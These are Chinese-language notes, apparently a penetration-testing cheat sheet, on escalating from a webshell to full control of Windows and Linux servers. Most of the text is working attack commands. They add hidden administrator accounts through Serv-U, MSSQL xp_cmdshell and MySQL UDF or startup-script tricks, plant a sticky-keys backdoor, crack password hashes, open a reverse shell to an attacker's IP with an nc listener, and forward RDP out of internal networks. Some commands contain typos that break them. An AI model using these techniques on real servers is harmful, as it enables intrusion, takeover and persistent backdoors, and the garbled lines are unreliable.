大纲:
提权前
Windows提权 第三方软件提权,数据库提权,溢出提权
Linux提权
提权前
什么是提权?
主要针对网站测试过程中,当测试某一网站时,通过各种漏洞提升webshell权限来拿到该服务器的权限。
此时已经获得了站点的webshell权限,提权后获得服务器权限,就可以对站点B,C进行操作。
常见脚本所处的权限
asp/PHP 匿名权限(网络服务权限,权限较小)
aspx user权限(普通用户权限)
jsp 系统权限(通常)
收集信息
内外网
服务器系统和版本位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况
支持脚本的情况
信息收集常用命令
Windows:
ipconfig /all 查看当前ip
net user 查看当前服务器账号情况
netstat –ano 查看当前服务器端口开放情况
ver 查看当前服务器操作糸统
systeminfo 查看当前服务器配置信息(补丁情况)
tasklist /svc 查看当前服务器进程
taskkill –PID ID号 结束某个pid号的进程
taskkill lim qq.exe /f 结束qq进程
net user abc abc /add 添加一个用户名为abc密码为abc的用户
whoami 查看当前操作用户(当前权限)
Linux:
ls –al 查看当前服务器的文件和文件夹
pwd 查看当前操作路径
uname -a 查看当前服务器的内核信息
cmd命令执行
1、防护软件拦截
2、cmd被降权
3、组件被删除
找到可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用。
查找3389
1、注册表读取
2、工具扫描
3、命令探针
Windows提权
第三方软件提权
溢出提权
启动项提权
破解hash提权
数据库提权
常见的第三方软件提权
FTP软件:
server –u、g6ftp、FileZilla
远程管理软件:
PCanywhere、readmin、vnc
server-u提权
有修改权限
0、检查是否有可写权限,修改server-u,默认安装目录下的servUDaemou.ini
1、增加用户
2、连接
3、执行命令
quote site exec bet user abc abc.com /add
quote site exec net localgroup administertors abc /add
无修改权限
暴力破解mds
溢出提权
G6ftp提权
下载管理配置文件,将administrator管理密码破解
使用lcx端口转发(默认只允许本机连接)
lcx.exe –tran 8027 127.0.0.1 8021
使用客户端管理员用户登录
创建用户并设置权限和执行的批处理文件
上传批处理
已创建的普通用户登录ftp
执行命令quate site x.bat
x.bat内容为添加系统用户 提权
filezilla提权
filezilla是一款开源的ftp服务器和客户端的软件
若安装了服务器默认只监听127.0.0.1的14147端口
并且默认安装目录下有两个敏感文件
filezillaserver.xml(包含了用户信息)
filezillaserver interface.xml(包含了管理信息)
提权思路
下载这两个文件,拿到管理密码
配置端口转发,登录远程管理ftpserver创建ftp用户
分配权限,设置家目录为c:\
使用cmd.exe改名为sethc.exe替换c:\windows\system32\sethc.exe生成shift后门
连接3389按5次shift调出cmd.exe
query user 显示管理员是否在线
vnc提权
通过读到注册表十进制数
转换成十六进制数
破解十六进制数得到密码
vncx4.exe –W 回车
输入转换后的十六进制数
连接vnc
radmin提权
通过端口扫描 扫描4899端口
上传radmin.asp木马读取radmin的加密密文
使用工具连接
远程管理软件提权
pcanywhere
访问pcanywhere默认安装目录
下载用户配置文件
通过破解用户密码文件
溢出提权
主要是通过Windows漏洞利用来获取系统权限
常见的溢出提权
巴西烤肉
pr
步骤:
1、通过信息搜集查看服务器打了哪些补丁
2、根据未打的补丁漏洞进行利用即可
破解hash提权
上传pwdump.exe远程获取hash值
拿到lc5彩虹表破解
即可得到管理员密码
需要管理员权限方可执行读取hash操作
启动项提权
前提写入的目录需要写入权限
将批处理文件上传到开机启动项目录等待管理员重启即可
数据库提权
SQLserver数据库提权
mysql数据库提权
需要具备数据库管理员权限才可以执行提权操作
msSQL提权
安装组件
开启3389
创建用户
提升权限
完成
sa账号的获取,查看config.asp、conn.asp等文件
msSQL安装执行命令组件
安装cmd_shell组件
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
3389操作语句
开启3389
exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal server’,’fDenyTSConnections’,’REG_DWORD’,0;--
关闭3389
exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal server’,’fDenyTSConnections’,’REG_DWORD’,1;--
删除cmd_shell组件
exec sp_configure ‘show advancer options’, 1
go
reconfigure
go
exec sp_configure xp_cmdshell; 0
go
reconfigure
go
mysql数据库提权
udf提权
启动项提权
maf提权
反链端口提权
udf提权
获取到对方的mysql数据库下的root账号密码
1、查看网站源码里面数据库配置文件
(inc、conn、config.sql、common、data等)
2、查看数据库安装路径下的user.myd(/data/mysql)
3、暴力破解mysql密码,破解3306端口入侵
udf提权原理
通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
c:\winnt\udf.dll 2000
c:\windows\udf.dll 2003
现在基本上win的服务器就这两个导出udf.dll
5.1以上版本需要导出到mysql安装目录lib\plugin\
create function cmdshell returns string soname ‘udf.dll’
select cmdshell (‘net user abc abc /add’);
select cmdshell (‘net localgroup administrators abc /add’);
drop function cmdshell; 删除函数
启动项提权
1、查看我们进入数据库中有什么数据表
mysql>show tables;
默认情况下,test中没有任何表的存在
以下为关键部分
2、在TEST数据库下创建一个新的表
mysql>create table a (cmd text);
此时创建了一个新表,表名为a,表中只存放一个字段名为cmd的text文件
3、在表中插入内容
mysql>insert into a values (“set wshshell=createobject(“”wscript.shell””)”)
mysql>insert into a values (“a=wshshell.run (“”cmd.exe /c net user 1 1 /add””,0)”);
mysql>insert into a values (“b=wshshell.ru (“”cmd.exe /c net localgroup administrators 1 /add”,0)”);
注意,双引号和括号以及后面的“0”一定要输入,用这三条命令来建立一个VBS的脚本程序。
4、mysql>select * from a;
此时表中有三行数据,就是前面的VBS的脚本程序
5、输出表为一个VBS的脚本文件
mysql>select * from a into outfile “c://document//administrator//[开始]菜单//程序//启动//a.vbs”;
6、重启
mof提权
第一种方法:
上传mof.php
输入相关信息,执行命令,提权
第二种方法:
上传x.mof
使用select命令导出到正确位置
select load_file(‘c:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’
允许外部地址使用root用户连接的SQL语句
grant all privileges on *.* to ‘root’@’%’ identified by ‘root’ with grant option;
反链端口提权
利用mysql客户端工具连接mysql服务器,然后执行以下操作
1、执行命令
mysql.exe –h 172.16.10.11 –uroot –p
enter password:
mysql>\.c”\mysql.txt
mysql>select backshell(“yourip”,2010);
2、本地监听反弹的端口
nc.exe –vv –l –p 2010
成功后,会获得一个system权限的cmdshell
内网端口转发
内网主机输入命令
lcx.exe –slave 外网ip 外网端口 内网ip 内网端口
lcx.exe –slave 200.1.1.1 1111 192.168.1.2 3389
外网主机输入命令
lcx.exe –listen 111 1311
开启3389
使用
批处理文件开3389
使用sql语句开3389
使用exe开3389
使用vb开3389
一些命令的利用
type E:\wwwroot\web.config 查看文件内容
cacls命令
/T:更改当前目录及其有子目录中指定的acl
/E:编辑acl而不替换
/C:在出现拒绝访问错误的时候继续
/G Userver:perm:赋了指定用户访问权限,perm代表不同级别的访问权限,其值可以是R(读),W(写),C(该),F(安全控制)等
/R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用的时候有效
要修改一个文件的权限必要条件
要有USERS组的完全控制权限
cmd权限
Linux提权
内核溢出提权
mysql ndf提权
利用SUID提权
利用环境变量,劫持该劝的程序提权
内核溢出提权
查看内核
uname –r
反弹shell执行命令
上传exp
编译
执行
根据内核版本查找对应的漏洞
收集exp
mysql udf提权
上传库文件
执行库文件创建命令执行函数
利用SUID提权
寻找系统里可以用的SUID文件来提权
$find /-perm –u=s –type f 2>/dev/null